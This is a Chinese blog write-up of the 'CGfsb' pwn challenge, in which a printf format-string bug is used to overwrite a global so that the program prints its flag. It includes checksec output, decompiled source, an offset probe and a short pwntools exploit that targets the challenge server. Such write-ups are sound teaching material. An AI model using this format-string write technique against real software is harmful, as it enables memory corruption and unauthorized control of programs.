# CGfsb--writeup

原创

ATFWUS 于 2020-03-03 12:06:37 发布 246 收藏
分类专栏： CTF-PWN # 攻防世界-pwn -- WriteUp 文章标签： CTF pwn 格式化字符串 漏洞 攻防世界


CTF-PWN 同时被 2 个专栏收录
33 篇文章 5 订阅
订阅专栏


攻防世界-pwn -- WriteUp
15 篇文章 0 订阅
订阅专栏

文件下载地址：

链接：https://pan.baidu.com/s/1a9zj-OQAOgTw7KooZPBBaQ
提取码：y9wi

## 0x01.分析

**checksec：**

```
root@at-ubuntu:/home/atfwus/rop# checksec CGfsb
[*] '/home/atfwus/rop/CGfsb'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
root@at-ubuntu:/home/atfwus/rop#
```

32位程序，没有开启ASLR。

查看源码：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int buf; // [esp+1Eh] [ebp-7Eh]
  int v5; // [esp+22h] [ebp-7Ah]
  __int16 v6; // [esp+26h] [ebp-76h]
  char s; // [esp+28h] [ebp-74h]
  unsigned int v8; // [esp+8Ch] [ebp-10h]

  v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 100, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}
```



利用漏洞：

在查看源码的时候，很明显的发现23行存在格式化字符串漏洞，后面如果pwnme等于8，那么就可以直接得到flag，所以我们要利用格式化字符串漏洞修改pwnme为8，查看pwnme，发现在bss段，得到地址：

```
.bss:0804A065                   align 4
.bss:0804A068                   public pwnme
.bss:0804A068 pwnme             dd ?                    ; DATA XREF: main+105↑r
.bss:0804A068 _bss              ends
.bss:0804A068
.prgend:0804A06C ; ===========================================================================
.prgend:0804A06C
.prgend:0804A06C ; Segment type: Zero-length
```

继续确定偏移量：

```
root@at-ubuntu:/home/atfwus/rop# ./CGfsb
please tell me your name:
atfwus
leave your message please:
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
hello atfwus
your message is:
AAAA.ffffd4ae.f7fb35c0.ffffd4fc.f7ffda9c.00000001.f7fd0410.74610001.73757766.0000000a.41414141.3830252e.30252e78.
Thank you!
root@at-ubuntu:/home/atfwus/rop#
```



偏移量为10。可以开始写exp了。

## 0x02.exp

```
##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",36301)
#r=process('./CGfsb')

pwnme_addr=0x0804A068

r.sendlineafter("please tell me your name:","ATFWUS")
payload=p32(pwnme_addr)+"%4c%10$n"
r.sendlineafter("leave your message please:",payload)
r.interactive()
```